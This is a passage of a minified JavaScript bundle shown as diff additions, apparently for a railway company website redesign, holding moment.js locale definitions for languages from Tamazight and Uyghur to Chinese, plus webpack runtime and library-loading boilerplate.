"[ⴰⵚⴰⵏⵜ ⴴ] LT", + lastWeek: "dddd [ⴴ] LT", + sameElse: "L" + }, + relativeTime: { + future: "ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s", + past: "ⵢⴰⵏ %s", + s: "ⵉⵎⵉⴽ", + ss: "%d ⵉⵎⵉⴽ", + m: "ⵎⵉⵏⵓⴺ", + mm: "%d ⵎⵉⵏⵓⴺ", + h: "ⵙⴰⵄⴰ", + hh: "%d ⵜⴰⵙⵙⴰⵄⵉⵏ", + d: "ⴰⵙⵙ", + dd: "%d oⵙⵙⴰⵏ", + M: "ⴰⵢoⵓⵔ", + MM: "%d ⵉⵢⵢⵉⵔⵏ", + y: "ⴰⵙⴳⴰⵙ", + yy: "%d ⵉⵙⴳⴰⵙⵏ" + }, + week: { + dow: 6, + doy: 12 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("tzm-latn", { + months: "innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"), + monthsShort: "innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"), + weekdays: "asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"), + weekdaysShort: "asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"), + weekdaysMin: "asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[asdkh g] LT", + nextDay: "[aska g] LT", + nextWeek: "dddd [g] LT", + lastDay: "[assant g] LT", + lastWeek: "dddd [g] LT", + sameElse: "L" + }, + relativeTime: { + future: "dadkh s yan %s", + past: "yan %s", + s: "imik", + ss: "%d imik", + m: "minuḍ", + mm: "%d minuḍ", + h: "saɛa", + hh: "%d tassaɛin", + d: "ass", + dd: "%d ossan", + M: "ayowr", + MM: "%d iyyirn", + y: "asgas", + yy: "%d isgasn" + }, + week: { + dow: 6, + doy: 12 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("ug-cn", { + months: "يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"), + monthsShort: "يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"), + weekdays: "يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"), + weekdaysShort: "يە_دۈ_سە_چا_پە_جۈ_شە".split("_"), + weekdaysMin: "يە_دۈ_سە_چا_پە_جۈ_شە".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY-MM-DD", + LL: "YYYY-يىلىM-ئاينىڭD-كۈنى", + LLL: "YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm", + LLLL: "dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm" + }, + meridiemParse: /يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "يېرىم كېچە" || t === "سەھەر" || t === "چۈشتىن بۇرۇن") { + return e + } else if (t === "چۈشتىن كېيىن" || t === "كەچ") { + return e + 12 + } else { + return e >= 11 ? e : e + 12 + } + }, + meridiem: function (e, t, i) { + var n = e * 100 + t; + if (n < 600) { + return "يېرىم كېچە" + } else if (n < 900) { + return "سەھەر" + } else if (n < 1130) { + return "چۈشتىن بۇرۇن" + } else if (n < 1230) { + return "چۈش" + } else if (n < 1800) { + return "چۈشتىن كېيىن" + } else { + return "كەچ" + } + }, + calendar: { + sameDay: "[بۈگۈن سائەت] LT", + nextDay: "[ئەتە سائەت] LT", + nextWeek: "[كېلەركى] dddd [سائەت] LT", + lastDay: "[تۆنۈگۈن] LT", + lastWeek: "[ئالدىنقى] dddd [سائەت] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s كېيىن", + past: "%s بۇرۇن", + s: "نەچچە سېكونت", + ss: "%d سېكونت", + m: "بىر مىنۇت", + mm: "%d مىنۇت", + h: "بىر سائەت", + hh: "%d سائەت", + d: "بىر كۈن", + dd: "%d كۈن", + M: "بىر ئاي", + MM: "%d ئاي", + y: "بىر يىل", + yy: "%d يىل" + }, + dayOfMonthOrdinalParse: /\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + "-كۈنى"; + case "w": + case "W": + return e + "-ھەپتە"; + default: + return e + } + }, + preparse: function (e) { + return e.replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/,/g, "،") + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + + function t(e, t) { + var i = e.split("_"); + return t % 10 === 1 && t % 100 !== 11 ? i[0] : t % 10 >= 2 && t % 10 <= 4 && (t % 100 < 10 || t % 100 >= 20) ? i[1] : i[2] + } + + function i(e, i, n) { + var r = { + ss: i ? "секунда_секунди_секунд" : "секунду_секунди_секунд", + mm: i ? "хвилина_хвилини_хвилин" : "хвилину_хвилини_хвилин", + hh: i ? "година_години_годин" : "годину_години_годин", + dd: "день_дні_днів", + MM: "місяць_місяці_місяців", + yy: "рік_роки_років" + }; + if (n === "m") { + return i ? "хвилина" : "хвилину" + } else if (n === "h") { + return i ? "година" : "годину" + } else { + return e + " " + t(r[n], +e) + } + } + + function n(e, t) { + var i = { + nominative: "неділя_понеділок_вівторок_середа_четвер_п’ятниця_субота".split("_"), + accusative: "неділю_понеділок_вівторок_середу_четвер_п’ятницю_суботу".split("_"), + genitive: "неділі_понеділка_вівторка_середи_четверга_п’ятниці_суботи".split("_") + }; + if (e === true) { + return i["nominative"].slice(1, 7).concat(i["nominative"].slice(0, 1)) + } + if (!e) { + return i["nominative"] + } + var n = /(\[[ВвУу]\]) ?dddd/.test(t) ? "accusative" : /\[?(?:минулої|наступної)? ?\] ?dddd/.test(t) ? "genitive" : "nominative"; + return i[n][e.day()] + } + + function r(e) { + return function () { + return e + "о" + (this.hours() === 11 ? "б" : "") + "] LT" + } + } + var a = e.defineLocale("uk", { + months: { + format: "січня_лютого_березня_квітня_травня_червня_липня_серпня_вересня_жовтня_листопада_грудня".split("_"), + standalone: "січень_лютий_березень_квітень_травень_червень_липень_серпень_вересень_жовтень_листопад_грудень".split("_") + }, + monthsShort: "січ_лют_бер_квіт_трав_черв_лип_серп_вер_жовт_лист_груд".split("_"), + weekdays: n, + weekdaysShort: "нд_пн_вт_ср_чт_пт_сб".split("_"), + weekdaysMin: "нд_пн_вт_ср_чт_пт_сб".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD.MM.YYYY", + LL: "D MMMM YYYY р.", + LLL: "D MMMM YYYY р., HH:mm", + LLLL: "dddd, D MMMM YYYY р., HH:mm" + }, + calendar: { + sameDay: r("[Сьогодні "), + nextDay: r("[Завтра "), + lastDay: r("[Вчора "), + nextWeek: r("[У] dddd ["), + lastWeek: function () { + switch (this.day()) { + case 0: + case 3: + case 5: + case 6: + return r("[Минулої] dddd [").call(this); + case 1: + case 2: + case 4: + return r("[Минулого] dddd [").call(this) + } + }, + sameElse: "L" + }, + relativeTime: { + future: "за %s", + past: "%s тому", + s: "декілька секунд", + ss: i, + m: i, + mm: i, + h: "годину", + hh: i, + d: "день", + dd: i, + M: "місяць", + MM: i, + y: "рік", + yy: i + }, + meridiemParse: /ночі|ранку|дня|вечора/, + isPM: function (e) { + return /^(дня|вечора)$/.test(e) + }, + meridiem: function (e, t, i) { + if (e < 4) { + return "ночі" + } else if (e < 12) { + return "ранку" + } else if (e < 17) { + return "дня" + } else { + return "вечора" + } + }, + dayOfMonthOrdinalParse: /\d{1,2}-(й|го)/, + ordinal: function (e, t) { + switch (t) { + case "M": + case "d": + case "DDD": + case "w": + case "W": + return e + "-й"; + case "D": + return e + "-го"; + default: + return e + } + }, + week: { + dow: 1, + doy: 7 + } + }); + return a + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = ["جنوری", "فروری", "مارچ", "اپریل", "مئی", "جون", "جولائی", "اگست", "ستمبر", "اکتوبر", "نومبر", "دسمبر"]; + var i = ["اتوار", "پیر", "منگل", "بدھ", "جمعرات", "جمعہ", "ہفتہ"]; + var n = e.defineLocale("ur", { + months: t, + monthsShort: t, + weekdays: i, + weekdaysShort: i, + weekdaysMin: i, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd، D MMMM YYYY HH:mm" + }, + meridiemParse: /صبح|شام/, + isPM: function (e) { + return "شام" === e + }, + meridiem: function (e, t, i) { + if (e < 12) { + return "صبح" + } + return "شام" + }, + calendar: { + sameDay: "[آج بوقت] LT", + nextDay: "[کل بوقت] LT", + nextWeek: "dddd [بوقت] LT", + lastDay: "[گذشتہ روز بوقت] LT", + lastWeek: "[گذشتہ] dddd [بوقت] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s بعد", + past: "%s قبل", + s: "چند سیکنڈ", + ss: "%d سیکنڈ", + m: "ایک منٹ", + mm: "%d منٹ", + h: "ایک گھنٹہ", + hh: "%d گھنٹے", + d: "ایک دن", + dd: "%d دن", + M: "ایک ماہ", + MM: "%d ماہ", + y: "ایک سال", + yy: "%d سال" + }, + preparse: function (e) { + return e.replace(/،/g, ",") + }, + postformat: function (e) { + return e.replace(/,/g, "،") + }, + week: { + dow: 1, + doy: 4 + } + }); + return n + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("uz", { + months: "январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_"), + monthsShort: "янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"), + weekdays: "Якшанба_Душанба_Сешанба_Чоршанба_Пайшанба_Жума_Шанба".split("_"), + weekdaysShort: "Якш_Душ_Сеш_Чор_Пай_Жум_Шан".split("_"), + weekdaysMin: "Як_Ду_Се_Чо_Па_Жу_Ша".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "D MMMM YYYY, dddd HH:mm" + }, + calendar: { + sameDay: "[Бугун соат] LT [да]", + nextDay: "[Эртага] LT [да]", + nextWeek: "dddd [куни соат] LT [да]", + lastDay: "[Кеча соат] LT [да]", + lastWeek: "[Утган] dddd [куни соат] LT [да]", + sameElse: "L" + }, + relativeTime: { + future: "Якин %s ичида", + past: "Бир неча %s олдин", + s: "фурсат", + ss: "%d фурсат", + m: "бир дакика", + mm: "%d дакика", + h: "бир соат", + hh: "%d соат", + d: "бир кун", + dd: "%d кун", + M: "бир ой", + MM: "%d ой", + y: "бир йил", + yy: "%d йил" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("uz-latn", { + months: "Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr".split("_"), + monthsShort: "Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek".split("_"), + weekdays: "Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba".split("_"), + weekdaysShort: "Yak_Dush_Sesh_Chor_Pay_Jum_Shan".split("_"), + weekdaysMin: "Ya_Du_Se_Cho_Pa_Ju_Sha".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "D MMMM YYYY, dddd HH:mm" + }, + calendar: { + sameDay: "[Bugun soat] LT [da]", + nextDay: "[Ertaga] LT [da]", + nextWeek: "dddd [kuni soat] LT [da]", + lastDay: "[Kecha soat] LT [da]", + lastWeek: "[O'tgan] dddd [kuni soat] LT [da]", + sameElse: "L" + }, + relativeTime: { + future: "Yaqin %s ichida", + past: "Bir necha %s oldin", + s: "soniya", + ss: "%d soniya", + m: "bir daqiqa", + mm: "%d daqiqa", + h: "bir soat", + hh: "%d soat", + d: "bir kun", + dd: "%d kun", + M: "bir oy", + MM: "%d oy", + y: "bir yil", + yy: "%d yil" + }, + week: { + dow: 1, + doy: 7 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("vi", { + months: "tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12".split("_"), + monthsShort: "Th01_Th02_Th03_Th04_Th05_Th06_Th07_Th08_Th09_Th10_Th11_Th12".split("_"), + monthsParseExact: true, + weekdays: "chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy".split("_"), + weekdaysShort: "CN_T2_T3_T4_T5_T6_T7".split("_"), + weekdaysMin: "CN_T2_T3_T4_T5_T6_T7".split("_"), + weekdaysParseExact: true, + meridiemParse: /sa|ch/i, + isPM: function (e) { + return /^ch$/i.test(e) + }, + meridiem: function (e, t, i) { + if (e < 12) { + return i ? "sa" : "SA" + } else { + return i ? "ch" : "CH" + } + }, + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "DD/MM/YYYY", + LL: "D MMMM [năm] YYYY", + LLL: "D MMMM [năm] YYYY HH:mm", + LLLL: "dddd, D MMMM [năm] YYYY HH:mm", + l: "DD/M/YYYY", + ll: "D MMM YYYY", + lll: "D MMM YYYY HH:mm", + llll: "ddd, D MMM YYYY HH:mm" + }, + calendar: { + sameDay: "[Hôm nay lúc] LT", + nextDay: "[Ngày mai lúc] LT", + nextWeek: "dddd [tuần tới lúc] LT", + lastDay: "[Hôm qua lúc] LT", + lastWeek: "dddd [tuần rồi lúc] LT", + sameElse: "L" + }, + relativeTime: { + future: "%s tới", + past: "%s trước", + s: "vài giây", + ss: "%d giây", + m: "một phút", + mm: "%d phút", + h: "một giờ", + hh: "%d giờ", + d: "một ngày", + dd: "%d ngày", + M: "một tháng", + MM: "%d tháng", + y: "một năm", + yy: "%d năm" + }, + dayOfMonthOrdinalParse: /\d{1,2}/, + ordinal: function (e) { + return e + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("x-pseudo", { + months: "J~áñúá~rý_F~ébrú~árý_~Márc~h_Áp~ríl_~Máý_~Júñé~_Júl~ý_Áú~gúst~_Sép~témb~ér_Ó~ctób~ér_Ñ~óvém~bér_~Décé~mbér".split("_"), + monthsShort: "J~áñ_~Féb_~Már_~Ápr_~Máý_~Júñ_~Júl_~Áúg_~Sép_~Óct_~Ñóv_~Déc".split("_"), + monthsParseExact: true, + weekdays: "S~úñdá~ý_Mó~ñdáý~_Túé~sdáý~_Wéd~ñésd~áý_T~húrs~dáý_~Fríd~áý_S~átúr~dáý".split("_"), + weekdaysShort: "S~úñ_~Móñ_~Túé_~Wéd_~Thú_~Frí_~Sát".split("_"), + weekdaysMin: "S~ú_Mó~_Tú_~Wé_T~h_Fr~_Sá".split("_"), + weekdaysParseExact: true, + longDateFormat: { + LT: "HH:mm", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY HH:mm", + LLLL: "dddd, D MMMM YYYY HH:mm" + }, + calendar: { + sameDay: "[T~ódá~ý át] LT", + nextDay: "[T~ómó~rró~w át] LT", + nextWeek: "dddd [át] LT", + lastDay: "[Ý~ést~érdá~ý át] LT", + lastWeek: "[L~ást] dddd [át] LT", + sameElse: "L" + }, + relativeTime: { + future: "í~ñ %s", + past: "%s á~gó", + s: "á ~féw ~sécó~ñds", + ss: "%d s~écóñ~ds", + m: "á ~míñ~úté", + mm: "%d m~íñú~tés", + h: "á~ñ hó~úr", + hh: "%d h~óúrs", + d: "á ~dáý", + dd: "%d d~áýs", + M: "á ~móñ~th", + MM: "%d m~óñt~hs", + y: "á ~ýéár", + yy: "%d ý~éárs" + }, + dayOfMonthOrdinalParse: /\d{1,2}(th|st|nd|rd)/, + ordinal: function (e) { + var t = e % 10, + i = ~~(e % 100 / 10) === 1 ? "th" : t === 1 ? "st" : t === 2 ? "nd" : t === 3 ? "rd" : "th"; + return e + i + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("yo", { + months: "Sẹ́rẹ́_Èrèlè_Ẹrẹ̀nà_Ìgbé_Èbibi_Òkùdu_Agẹmo_Ògún_Owewe_Ọ̀wàrà_Bélú_Ọ̀pẹ̀̀".split("_"), + monthsShort: "Sẹ́r_Èrl_Ẹrn_Ìgb_Èbi_Òkù_Agẹ_Ògú_Owe_Ọ̀wà_Bél_Ọ̀pẹ̀̀".split("_"), + weekdays: "Àìkú_Ajé_Ìsẹ́gun_Ọjọ́rú_Ọjọ́bọ_Ẹtì_Àbámẹ́ta".split("_"), + weekdaysShort: "Àìk_Ajé_Ìsẹ́_Ọjr_Ọjb_Ẹtì_Àbá".split("_"), + weekdaysMin: "Àì_Aj_Ìs_Ọr_Ọb_Ẹt_Àb".split("_"), + longDateFormat: { + LT: "h:mm A", + LTS: "h:mm:ss A", + L: "DD/MM/YYYY", + LL: "D MMMM YYYY", + LLL: "D MMMM YYYY h:mm A", + LLLL: "dddd, D MMMM YYYY h:mm A" + }, + calendar: { + sameDay: "[Ònì ni] LT", + nextDay: "[Ọ̀la ni] LT", + nextWeek: "dddd [Ọsẹ̀ tón'bọ] [ni] LT", + lastDay: "[Àna ni] LT", + lastWeek: "dddd [Ọsẹ̀ tólọ́] [ni] LT", + sameElse: "L" + }, + relativeTime: { + future: "ní %s", + past: "%s kọjá", + s: "ìsẹjú aayá die", + ss: "aayá %d", + m: "ìsẹjú kan", + mm: "ìsẹjú %d", + h: "wákati kan", + hh: "wákati %d", + d: "ọjọ́ kan", + dd: "ọjọ́ %d", + M: "osù kan", + MM: "osù %d", + y: "ọdún kan", + yy: "ọdún %d" + }, + dayOfMonthOrdinalParse: /ọjọ́\s\d{1,2}/, + ordinal: "ọjọ́ %d", + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("zh-cn", { + months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), + monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), + weekdays: "星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"), + weekdaysShort: "周日_周一_周二_周三_周四_周五_周六".split("_"), + weekdaysMin: "日_一_二_三_四_五_六".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY/MM/DD", + LL: "YYYY年M月D日", + LLL: "YYYY年M月D日Ah点mm分", + LLLL: "YYYY年M月D日ddddAh点mm分", + l: "YYYY/M/D", + ll: "YYYY年M月D日", + lll: "YYYY年M月D日 HH:mm", + llll: "YYYY年M月D日dddd HH:mm" + }, + meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "凌晨" || t === "早上" || t === "上午") { + return e + } else if (t === "下午" || t === "晚上") { + return e + 12 + } else { + return e >= 11 ? e : e + 12 + } + }, + meridiem: function (e, t, i) { + var n = e * 100 + t; + if (n < 600) { + return "凌晨" + } else if (n < 900) { + return "早上" + } else if (n < 1130) { + return "上午" + } else if (n < 1230) { + return "中午" + } else if (n < 1800) { + return "下午" + } else { + return "晚上" + } + }, + calendar: { + sameDay: "[今天]LT", + nextDay: "[明天]LT", + nextWeek: "[下]ddddLT", + lastDay: "[昨天]LT", + lastWeek: "[上]ddddLT", + sameElse: "L" + }, + dayOfMonthOrdinalParse: /\d{1,2}(日|月|周)/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + "日"; + case "M": + return e + "月"; + case "w": + case "W": + return e + "周"; + default: + return e + } + }, + relativeTime: { + future: "%s内", + past: "%s前", + s: "几秒", + ss: "%d 秒", + m: "1 分钟", + mm: "%d 分钟", + h: "1 小时", + hh: "%d 小时", + d: "1 天", + dd: "%d 天", + M: "1 个月", + MM: "%d 个月", + y: "1 年", + yy: "%d 年" + }, + week: { + dow: 1, + doy: 4 + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("zh-hk", { + months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), + monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), + weekdays: "星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"), + weekdaysShort: "週日_週一_週二_週三_週四_週五_週六".split("_"), + weekdaysMin: "日_一_二_三_四_五_六".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY/MM/DD", + LL: "YYYY年M月D日", + LLL: "YYYY年M月D日 HH:mm", + LLLL: "YYYY年M月D日dddd HH:mm", + l: "YYYY/M/D", + ll: "YYYY年M月D日", + lll: "YYYY年M月D日 HH:mm", + llll: "YYYY年M月D日dddd HH:mm" + }, + meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "凌晨" || t === "早上" || t === "上午") { + return e + } else if (t === "中午") { + return e >= 11 ? e : e + 12 + } else if (t === "下午" || t === "晚上") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + var n = e * 100 + t; + if (n < 600) { + return "凌晨" + } else if (n < 900) { + return "早上" + } else if (n < 1130) { + return "上午" + } else if (n < 1230) { + return "中午" + } else if (n < 1800) { + return "下午" + } else { + return "晚上" + } + }, + calendar: { + sameDay: "[今天]LT", + nextDay: "[明天]LT", + nextWeek: "[下]ddddLT", + lastDay: "[昨天]LT", + lastWeek: "[上]ddddLT", + sameElse: "L" + }, + dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + "日"; + case "M": + return e + "月"; + case "w": + case "W": + return e + "週"; + default: + return e + } + }, + relativeTime: { + future: "%s內", + past: "%s前", + s: "幾秒", + ss: "%d 秒", + m: "1 分鐘", + mm: "%d 分鐘", + h: "1 小時", + hh: "%d 小時", + d: "1 天", + dd: "%d 天", + M: "1 個月", + MM: "%d 個月", + y: "1 年", + yy: "%d 年" + } + }); + return t + }) +}, function (e, t, i) { + (function (e, t) { + true ? t(i(0)) : typeof define === "function" && define.amd ? define(["../moment"], t) : t(e.moment) + })(this, function (e) { + "use strict"; + var t = e.defineLocale("zh-tw", { + months: "一月_二月_三月_四月_五月_六月_七月_八月_九月_十月_十一月_十二月".split("_"), + monthsShort: "1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"), + weekdays: "星期日_星期一_星期二_星期三_星期四_星期五_星期六".split("_"), + weekdaysShort: "週日_週一_週二_週三_週四_週五_週六".split("_"), + weekdaysMin: "日_一_二_三_四_五_六".split("_"), + longDateFormat: { + LT: "HH:mm", + LTS: "HH:mm:ss", + L: "YYYY/MM/DD", + LL: "YYYY年M月D日", + LLL: "YYYY年M月D日 HH:mm", + LLLL: "YYYY年M月D日dddd HH:mm", + l: "YYYY/M/D", + ll: "YYYY年M月D日", + lll: "YYYY年M月D日 HH:mm", + llll: "YYYY年M月D日dddd HH:mm" + }, + meridiemParse: /凌晨|早上|上午|中午|下午|晚上/, + meridiemHour: function (e, t) { + if (e === 12) { + e = 0 + } + if (t === "凌晨" || t === "早上" || t === "上午") { + return e + } else if (t === "中午") { + return e >= 11 ? e : e + 12 + } else if (t === "下午" || t === "晚上") { + return e + 12 + } + }, + meridiem: function (e, t, i) { + var n = e * 100 + t; + if (n < 600) { + return "凌晨" + } else if (n < 900) { + return "早上" + } else if (n < 1130) { + return "上午" + } else if (n < 1230) { + return "中午" + } else if (n < 1800) { + return "下午" + } else { + return "晚上" + } + }, + calendar: { + sameDay: "[今天] LT", + nextDay: "[明天] LT", + nextWeek: "[下]dddd LT", + lastDay: "[昨天] LT", + lastWeek: "[上]dddd LT", + sameElse: "L" + }, + dayOfMonthOrdinalParse: /\d{1,2}(日|月|週)/, + ordinal: function (e, t) { + switch (t) { + case "d": + case "D": + case "DDD": + return e + "日"; + case "M": + return e + "月"; + case "w": + case "W": + return e + "週"; + default: + return e + } + }, + relativeTime: { + future: "%s內", + past: "%s前", + s: "幾秒", + ss: "%d 秒", + m: "1 分鐘", + mm: "%d 分鐘", + h: "1 小時", + hh: "%d 小時", + d: "1 天", + dd: "%d 天", + M: "1 個月", + MM: "%d 個月", + y: "1 年", + yy: "%d 年" + } + }); + return t + }) +}, function (e, t, i) { + var n; + true ? !(n = function () { + return window + }.call(t, i, t, e), n !== undefined && (e.exports = n)) : "object" == typeof t && (e.exports = window) +}, function (e, t, i) { + var n; + true ? !(n = function () { + return document + }.call(t, i, t, e), n !== undefined && (e.exports = n)) : "object" == typeof t && (e.exports = document) +}, function (e, t, i) { + e.exports = i(137) +}, function (e, t, i) { + "use strict"; + i(138); + i(159); + i(160); + i(161); + i(162); + i(163); + i(164); + i(165); + i(166) +}, function (e, t, i) { + (function n(r, a) { + if (true) e.exports = a(i(139), i(140), i(146), i(147), i(149), i(0), i(152), i(157), i(158)); + else if (typeof define === "function" && define.amd) define(["whatwg-fetch", "packery", "imagesloaded", "gsap", "hammerjs", "moment", "inputmask", "autosize", "picturefill"], a); + else if (typeof t === "object") t["nmbs-redesign-website"] = a(require("whatwg-fetch"), require("packery"), require("imagesloaded"), require("gsap"), require("hammerjs"), require("moment"), require("inputmask"), require("autosize"), require("picturefill")); + else r["nmbs-redesign-website"] = a(r["whatwg-fetch"], r["packery"], r["imagesloaded"], r["gsap"], r["hammerjs"], r["moment"], r["inputmask"], r["autosize"], r["picturefill"]) + })(typeof self !== "undefined" ? self : this, function (e, t, i, n, r, a, s, o, l) { + return function (e) { + var t = {}; + + function i(n) { + if (t[n]) { + return t[n].exports + } + var r = t[n] = { + i: n, + l: false, + exports: {} + }; + e[n].call(r.exports, r, r.exports, i); + r.l = true; + return r.exports + } + i.m = e; + i.c = t; + i.d = function (e, t, n) { + if (!i.o(e, t)) { + Object.defineProperty(e, t, { + configurable: false, + enumerable: true, + get: n + }) + } + }; + i.n = function (e) { + var t = e && e.__esModule ? function t() { + return e["default"] + } : function t() { + return e + }; + i.d(t, "a", t); + return t + }; + i.o = function (e, t) { + return Object.prototype.hasOwnProperty.call(e, t) + }; + i.p = ""; + return i(i.s = 170) + }([function (e, t, i) { + var n = i(9); + var r = i(36); + var a = i(19); + var s = i(32); + var o = i(25); + var l = "prototype"; + var u = function (e, t, i) { + var d = e & u.F; + var f = e & u.G; + var c = e & u.S; + var h = e & u.P; + var m = e & u.B; + var p = f ? n : c ? n[t] || (n[t] = {}) : (n[t] || {})[l]; + var v = f ? r : r[t] || (r[t] = {}); + var _ = v[l] || (v[l] = {}); + var g, y, b, w; + if (f) i = t; + for (g in i) { + y = !d && p && p[g] !== undefined; + b = (y ? p : i)[g]; + w = m && y ? o(b, n) : h && typeof b == "function" ? o(Function.call, b) : b; + if (p) s(p, g, b, e & u.U); + if (v[g] != b) a(v, g, w); + if (h && _[g] != b) _[g] = b + } + }; + n.core = r; + u.F = 1; + u.G = 2; + u.S = 4; + u.P = 8; + u.B = 16; + u.W = 32; + u.U = 64; + u.R = 128; + e.exports = u + }, function (e, t, i) { + "use strict"; + t.__esModule = true; + t.default = function (e, t) { + if (!(e instanceof t)) { + throw new TypeError("Cannot call a class as a function") + } + } + }, function 